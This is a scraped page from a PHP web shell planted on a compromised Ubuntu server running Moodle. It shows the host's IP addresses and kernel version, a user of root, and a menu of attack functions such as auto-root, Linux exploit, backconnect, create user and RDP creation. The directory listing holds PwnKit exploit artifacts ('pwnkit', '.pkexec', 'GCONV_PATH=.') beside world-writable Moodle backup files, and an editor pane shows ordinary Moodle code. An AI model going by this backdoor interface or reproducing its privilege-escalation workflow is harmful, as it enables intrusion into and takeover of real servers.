Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
backup /
moodle2 /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
backup_activity_task.class.php
15.05
KB
-rwxrwxrwx
backup_block_task.class.php
7.88
KB
-rwxrwxrwx
backup_course_task.class.php
8.42
KB
-rwxrwxrwx
backup_coursereport_plugin.cla...
1.31
KB
-rwxrwxrwx
backup_custom_fields.php
11.15
KB
-rwxrwxrwx
backup_default_block_task.clas...
1.65
KB
-rwxrwxrwx
backup_enrol_plugin.class.php
1.26
KB
-rwxrwxrwx
backup_final_task.class.php
8.26
KB
-rwxrwxrwx
backup_format_plugin.class.php
1.81
KB
-rwxrwxrwx
backup_gradingform_plugin.clas...
1.35
KB
-rwxrwxrwx
backup_local_plugin.class.php
1.16
KB
-rwxrwxrwx
backup_plagiarism_plugin.class...
1.65
KB
-rwxrwxrwx
backup_plan_builder.class.php
7.95
KB
-rwxrwxrwx
backup_plugin.class.php
3.86
KB
-rwxrwxrwx
backup_qtype_extrafields_plugi...
3.29
KB
-rwxrwxrwx
backup_qtype_plugin.class.php
8.02
KB
-rwxrwxrwx
backup_report_plugin.class.php
1.27
KB
-rwxrwxrwx
backup_root_task.class.php
9.17
KB
-rwxrwxrwx
backup_section_task.class.php
6.33
KB
-rwxrwxrwx
backup_settingslib.php
6.98
KB
-rwxrwxrwx
backup_stepslib.php
107.9
KB
-rwxrwxrwx
backup_subplugin.class.php
3.57
KB
-rwxrwxrwx
backup_theme_plugin.class.php
3
KB
-rwxrwxrwx
backup_tool_plugin.class.php
1.24
KB
-rwxrwxrwx
backup_xml_transformer.class.p...
8.82
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
restore_activity_task.class.ph...
13.7
KB
-rwxrwxrwx
restore_block_task.class.php
6.79
KB
-rwxrwxrwx
restore_course_task.class.php
10.72
KB
-rwxrwxrwx
restore_coursereport_plugin.cl...
1.05
KB
-rwxrwxrwx
restore_default_block_task.cla...
1.7
KB
-rwxrwxrwx
restore_enrol_plugin.class.php
1.26
KB
-rwxrwxrwx
restore_final_task.class.php
10.23
KB
-rwxrwxrwx
restore_format_plugin.class.ph...
1.29
KB
-rwxrwxrwx
restore_gradingform_plugin.cla...
1.7
KB
-rwxrwxrwx
restore_local_plugin.class.php
1.16
KB
-rwxrwxrwx
restore_plagiarism_plugin.clas...
1.82
KB
-rwxrwxrwx
restore_plan_builder.class.php
9.35
KB
-rwxrwxrwx
restore_plugin.class.php
10.74
KB
-rwxrwxrwx
restore_qtype_extrafields_plug...
4.3
KB
-rwxrwxrwx
restore_qtype_plugin.class.php
16.3
KB
-rwxrwxrwx
restore_report_plugin.class.ph...
1.02
KB
-rwxrwxrwx
restore_root_task.class.php
15.39
KB
-rwxrwxrwx
restore_section_task.class.php
7.31
KB
-rwxrwxrwx
restore_settingslib.php
8.05
KB
-rwxrwxrwx
restore_stepslib.php
244.48
KB
-rwxrwxrwx
restore_subplugin.class.php
7.92
KB
-rwxrwxrwx
restore_theme_plugin.class.php
1.04
KB
-rwxrwxrwx
restore_tool_plugin.class.php
1.24
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : backup_section_task.class.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Defines backup_section_task class * * @package core_backup * @subpackage moodle2 * @category backup * @copyright 2010 onwards Eloy Lafuente (stronk7) {@link http://stronk7.com} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * section task that provides all the properties and common steps to be performed * when one section is being backup * * TODO: Finish phpdocs */ class backup_section_task extends backup_task { protected $sectionid; /** * Constructor - instantiates one object of this class */ public function __construct($name, $sectionid, $plan = null) { global $DB; // Check section exists if (!$section = $DB->get_record('course_sections', array('id' => $sectionid))) { throw new backup_task_exception('section_task_section_not_found', $sectionid); } $this->sectionid = $sectionid; parent::__construct($name, $plan); } public function get_sectionid() { return $this->sectionid; } /** * Section tasks have their own directory to write files */ public function get_taskbasepath() { return $this->get_basepath() . '/sections/section_' . $this->sectionid; } /** * Create all the steps that will be part of this task */ public function build() { // Set the backup::VAR_CONTEXTID setting to course context as far as next steps require that $coursectxid = context_course::instance($this->get_courseid())->id; $this->add_setting(new backup_activity_generic_setting(backup::VAR_CONTEXTID, base_setting::IS_INTEGER, $coursectxid)); // Add some extra settings that related processors are going to need $this->add_setting(new backup_activity_generic_setting(backup::VAR_SECTIONID, base_setting::IS_INTEGER, $this->sectionid)); $this->add_setting(new backup_activity_generic_setting(backup::VAR_COURSEID, base_setting::IS_INTEGER, $this->get_courseid())); // Create the section directory $this->add_step(new create_taskbasepath_directory('create_section_directory')); // Create the section.xml common file (course_sections) $this->add_step(new backup_section_structure_step('section_commons', 'section.xml')); // Generate the inforef file (must be after ALL steps gathering annotations of ANY type) $this->add_step(new backup_inforef_structure_step('section_inforef', 'inforef.xml')); // Migrate the already exported inforef entries to final ones $this->add_step(new move_inforef_annotations_to_final('migrate_inforef')); // At the end, mark it as built $this->built = true; } /** * Exceptionally override the execute method, so, based in the section_included setting, we are able * to skip the execution of one task completely */ public function execute() { // Find section_included_setting if (!$this->get_setting_value('included')) { $this->log('section skipped by _included setting', backup::LOG_DEBUG, $this->name); } else { // Setting tells us it's ok to execute parent::execute(); } } /** * Specialisation that, first of all, looks for the setting within * the task with the the prefix added and later, delegates to parent * without adding anything */ public function get_setting($name) { $namewithprefix = 'section_' . $this->sectionid . '_' . $name; $result = null; foreach ($this->settings as $key => $setting) { if ($setting->get_name() == $namewithprefix) { if ($result != null) { throw new base_task_exception('multiple_settings_by_name_found', $namewithprefix); } else { $result = $setting; } } } if ($result) { return $result; } else { // Fallback to parent return parent::get_setting($name); } } // Protected API starts here /** * Define the common setting that any backup section will have */ protected function define_settings() { global $DB; // All the settings related to this activity will include this prefix $settingprefix = 'section_' . $this->sectionid . '_'; // All these are common settings to be shared by all sections $section = $DB->get_record('course_sections', array('id' => $this->sectionid), '*', MUST_EXIST); $course = $DB->get_record('course', array('id' => $section->course), '*', MUST_EXIST); // Define section_included (to decide if the whole task must be really executed) $settingname = $settingprefix . 'included'; $section_included = new backup_section_included_setting($settingname, base_setting::IS_BOOLEAN, true); $section_included->get_ui()->set_label(get_section_name($course, $section)); $this->add_setting($section_included); // Define section_userinfo. Dependent of: // - users root setting // - section_included setting $settingname = $settingprefix . 'userinfo'; $section_userinfo = new backup_section_userinfo_setting($settingname, base_setting::IS_BOOLEAN, true); $section_userinfo->get_ui()->set_label(get_string('includeuserinfo','backup')); $this->add_setting($section_userinfo); // Look for "users" root setting $users = $this->plan->get_setting('users'); $users->add_dependency($section_userinfo); // Look for "section_included" section setting $section_included->add_dependency($section_userinfo); } }
Close